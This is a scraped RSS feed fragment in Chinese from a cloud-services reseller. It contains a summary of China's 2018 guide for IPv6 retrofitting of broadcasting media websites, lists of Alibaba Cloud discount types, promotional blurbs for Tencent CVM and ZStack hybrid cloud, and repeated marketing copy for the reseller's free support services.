        • 如果您倾向于使用 API 的方式对您的资源、应用和数据进行管理操作,您可以使用 SDK(支持 PHP/Python/Java/.NET/Node.js)编程或使用腾讯云命令行工具调用 CVM API,具体请参考:使用 SDK、使用命令行工具。

        节约

        腾讯云提供多种计费方式,并简化传统运维工作,不仅价格合理,同时节约额外的 IT 投入成本。

        • CVM 实例及其网络部署均支持包年包月或按量计费购买,满足不同应用场景需求。

        • 您可按需购买,合理消费,无需预先采购、准备硬件资源,助您有效降低基础设施建设投入。


        ]]>
        广播电视媒体网站IPv6改造实施指南 Fri, 02 May 2025 09:39:04 +0800  
          《实施指南》列出了广播电视媒体网站IPv6改造实施的总体目标:
         
          1、到2018年末,制定IPv6顶层规划,强化重点广播电视媒体网站及应用IPv6服务能力,加快推进全国广播电视媒体网站改造。中央及省级以上广播电视媒体网站系统完成改造,全面支持IPv6访问。新建媒体网站系统、新上业务和应用全面支持IPv6。
         
          2、到2020年末,全面推进广播电视媒体网站IPv6改造。所有地市级广播电视媒体网站系统完成改造,支持IPv6访问。
         
          3、到2025年末,所有广播电视媒体网站相关各类系统及应用全面支持IPv6访问。
         
          《实施指南》提出了四种媒体网站IPv6改造实施方案:
         
          1、媒体网站本地双栈改造;
         
          2、采用IVI技术的媒体网站改造;
         
          3、采用SPACE6技术的媒体网站改造;
         
          4、运用云托管方式的媒体网站双栈改造。
         

          《实施指南》适用于现存广播电视媒体网站的改造。各级广播电视行政部门政府网站以及各单位的机构网站IPv6改造可参照本指南实施。

        相关背景

         
          IPv4地址已经临近枯竭,对互联网高速发展的我国来说这个问题尤为突出,与IPv4相比, IPv6 128位的地址长度可以提供充沛的地址,完全满足未来数十年内互联网应用对IP地址的需求。同时,因为IPv6是固定报头,不像IPv4那样携带一堆冗长的数据,简短报头提升了网络数据转发的效率,使得网络工作效率更高,速度更快,IPv6协议的“超大地址空间”可以从技术上解决网络实名制和用户身份溯源问题,实现网络精准管理。鉴于以上种种优势,国际对IPV6的应用规模不断扩大,在IPV6应用方面我国仍旧相对落后,必须加速前行。
         
          2017年11月26日,中共央办公厅、国务院办公厅印发了《推进互联网协议第六版(IPv6)规模部署行动计划》(简称《行动计划》),要求各地区各部门结合实际认真贯彻落实。加快推进基于互联网协议第六版(IPv6)的下一代互联网规模部署,促进互联网演进升级和健康创新发展。
         
          《行动计划》关于2017年-2018年重点工作明确指出:“省级以上新闻及广播电视媒体网站IPv6改造。完成中央及省级新闻宣传媒体门户网站改造,新建新闻及广播电视媒体网络信息系统全面支持IPv6。”
         
          总局举措
         
          为贯彻落实党中央、国务院的战略部署,总局印发了《<推进互联网协议第六版(IPv6)规模部署行动计划>任务分工》(新广电办发[2018]22号),明确了各相关单位的具体工作内容和时间节点。
         
          为指导各级广播电视媒体网站顺利推进IPv6改造工作,广电总局科技司组织广播科学研究院研究编制了《广播电视媒体网站IPv6改造实施指南(2018)》。在总局科技司的指导下,广播科学研究院在对广播电视媒体网站网络现状以及业务发展情况等综合情况进行分析的基础上,结合常用的IPv6改造技术路线,提出了几种IPv6改造实施方案,编制了《实施指南》。


        附:《广播电视媒体网站IPv6改造实施指南(2018)》目录

         
          前 言
         
          一、总体要求
         
          1.1基本原则
         
          1.2总体目标
         
          二、媒体网站IPv6改造技术路线以及相互对比
         
          2.1 IPv6改造技术路线
         
          2.1.1双栈技术
         
          2.1.2应用层代理(ALG)服务器技术
         
          2.1.3翻译技术
         
          2.2 IPv6改造技术路线对比
         
          三、媒体网站IPv6改造实施方案
         
          3.1媒体网站本地双栈改造方案
         
          3.1.1系统架构
         
          3.1.2改造实施
         
          3.1.3安全策略
         
          3.2媒体网站升级无状态翻译(IVI)改造方案
         
          3.2.1系统架构
         
          3.2.2改造实施
         
          3.2.3安全策略
         
          3.3 媒体网站SPACE6改造方案
         
          3.3.1系统架构
         
          3.3.2改造实施
         
          3.3.2安全策略
         
          3.4 媒体网站云改造方案
         
          3.4.1系统架构
         
          3.4.2改造实施
         
          3.4.3安全策略


            四、媒体网站IPv6改造评测

         
          4.1评测指标
         
          4.1.1媒体网站域名AAAA解析能力
         
          4.1.2 IPv6地址可达
         
          4.1.3媒体网站服务支持IPv6能力
         
          4.1.4媒体网站IPv6可访问的稳定性
         
          4.1.5媒体网站IPv6安全性
         
          4.2评测方法
         
          4.2.1媒体网站域名AAAA解析能力测试
         
          4.2.2 IPv6地址可达测试
         
          4.2.3媒体网站服务支持IPv6能力测试
         
          4.2.4媒体网站IPv6可访问的稳定性测试
         
          4.2.5媒体网站IPv6安全性测试
            


        ]]>
        如何获取阿里云优惠-阿里云有哪些优惠项目 Fri, 02 May 2025 09:39:04 +0800 如何获取阿里云优惠-阿里云有哪些优惠项目

            首先我们了解阿里云优惠项目内容包含哪些类型:

        1. 阿里云优惠券

        2. 阿里云代金券

        3. 阿里云优惠口令

        4. 阿里云推荐码

        5. 阿里云云大使推荐链接

        6. 阿里云活动权益码

        7. 阿里云官网活动

        8. 阿里云服务商活动

        米姆给阿里云用户提供哪些支持呢?

                米姆为阿里云用户提供的服务:

            免费阿里云工单加急服务
            阿里云免费测试支持服务
            免费阿里云中台咨询服务
            免费阿里云大数据咨询服务
            免费最新安全漏洞告知服务
            免费阿里云智慧物联咨询服务
            免费阿里云远程故障排查服务
            免费阿里云产品配置支持服务
            免费阿里云原厂产品专家咨询服务
            免费阿里云系统上云整体规划服务
            免费阿里云最新优惠即时通知服务
            免费阿里云全系列解决方案咨询服务
            免费阿里云云上架构设计和方案服务
            免费阿里云现场需求沟通和上云咨询服务


         

        如何获取如上服务呢?  

                 您只需要联系我们即可获得服务。可以直接在页面下方留言哦  


         


         

        ]]>
        阿里云网站解决方案-专业的网站架构解决方案 Fri, 02 May 2025 09:39:04 +0800 阿里云依据网站不同的发展阶段,提供更合适的架构方案,有效降低网站的开发运维难度和整体IT成本,并保障网站的安全性和稳定性,节约大量的人力和资金投入


        ]]>
        阿里云某生物制药案例 Fri, 02 May 2025 09:39:04 +0800 ]]> 阿里云家居某知名家居企业案例 Fri, 02 May 2025 09:39:04 +0800

        ]]>
        阿里云企业级互联网架构解决方案 Fri, 02 May 2025 09:39:04 +0800

            在阿里巴巴电商业务环境沉淀下来的互联网中间件,其优秀的架构设计理念,以及大型分布式系统数据化运营能力,帮助企业用户快速构建大型分布式应用,支持业务需求快速创新,助力传统企业快速互联网+转型。




        ]]>
        阿里云IPv6解决方案 Fri, 02 May 2025 09:39:04 +0800

            据预测,到2020年底我国IPv6终端设备将达到5亿。IPv6正在逐渐取代IPv4,且这一进程正在全球加速。阿里云IPv6解决方案助力你的企业快速升级到IPv6基础架构,针对企业官网、电子政务、应用商店审核、广电传媒等多个行业和场景,提供丰富的产品选择和可靠安全的服务体验。



        ]]>
        ZStack 阿里云专有云ZStack版 Fri, 02 May 2025 09:39:04 +0800 ZStack 最新推出的混合云产品,领先业内、第一家实现了控制面和数据面的完全打通,给用户提供无缝混合云的体验。ZStack 通过标准的混合云产品,提供“互连互通、业务灾备、统一管控、一键迁云、安全防护、公共云增值服务”六大场景 


         

        ZStack私有云是一款产品级云平台,用户可以一键下载、快速完成安装和部署。最小部署规模为1台物理机、最大规模可至上万台,支持在线升级,单一管理节点可主持扩容到管理数万台服务器,且运行稳定,可按需定制。


         

        ZStack创新打造下一代开源云计算IaaS软件。它主要面向智能数据中心,通过提供完善的APIs来管理计算、存储等网络在内的数据中心各种资源。


        Zstack产品经理:陈经理:14737363737

        ]]>
        阿里云授权服务中心 阿里云免费服务 Fri, 02 May 2025 09:39:04 +0800 米姆信息科技作为阿里云生态体系一员,我们为阿里云用户提供诸多及时、专业且免费的用户服务。

        云计算时代 企业 IT 服务最佳选择-米姆科技 

        我们为每个企业准备了一个专属的云计算服务顾问 ,同时提供完整的服务支持,帮助您的企业在云计算时代获得成功。 

        云计算时代 我们让 IT 没有问题

         云计算时代,IT 知识需要升级。我们通过人工智能和专业的云计算专家团队,帮助您解决系统架构,功能设置,参数配置,优化建议等一系列的 IT 问题。 

        节省不必要的云上浪费

         云计算带来便利的同时,也可能存在您所遗忘的浪费,如开通的测试资源没有有效地释放等。我们帮您实时监控与分析在云计算上的消费,降低不必要的浪费。 

        安全的云上管理

         我们帮助您设置安全的访问网关,通过记录您的 IT 团队成员以及我们的工程师对您云上的系统所进行的相关操作,实现对行为的审计,确保系统访问安全。 

        云上监控预警与故障排除

         我们为您的系统提供专业的面向业务的云上监控和预警服务,帮助您及时获取系统异常信息,降低系统故障所造成的影响。同时我们也会协助您的团队排除故障,让系统恢复稳定。 

        专业处理云上工作负载

         云计算时代仍充满了大量的专业工作需要处理,如网络配置,系统安全加固,故障排查,软件升级与补丁更新。我们将自动匹配最专业的工程师通过远程协助来帮助您的团队完成相关的工作负载。 

        联系我们

        ]]>
        米姆科技助力企业上云 Fri, 02 May 2025 09:39:04 +0800

        云计算时代

        企业 IT 服务最佳选择

        我们为每个企业准备了一个专属的云计算服务顾问 ,同时提供完整的服务支持,帮助您的企业在云计算时代获得成功。

        云计算时代 IT 没有问题

        云计算时代,IT 知识需要升级。我们通过人工智能 和专业的云计算专家团队,帮助您解决系统架构,功能设置,参数配置,优化建议等一系列的 IT 问题。

        节省不必要的云上浪费

        云计算带来便利的同时,也可能存在您所遗忘的浪费,如开通的测试资源没有有效地释放等。我们帮您实时监控与分析在云计算上的消费,降低不必要的浪费。

        安全的云上管理

        我们帮助您设置安全的访问网关,通过记录您的 IT 团队成员以及我们的工程师对您云上的系统所进行的相关操作,实现对行为的审计,确保系统访问安全。

        云上监控预警与故障排除

        我们为您的系统提供专业的面向业务的云上监控和预警服务,帮助您及时获取系统异常信息,降低系统故障所造成的影响。同时我们也会协助您的团队排除故障,让系统恢复稳定。

        专业处理云上工作负载

        云计算时代仍充满了大量的专业工作需要处理,如网络配置,系统安全加固,故障排查,软件升级与补丁更新。我们将自动匹配最专业的工程师通过远协助来帮助您的团队完成相关的工作负载。



        ]]>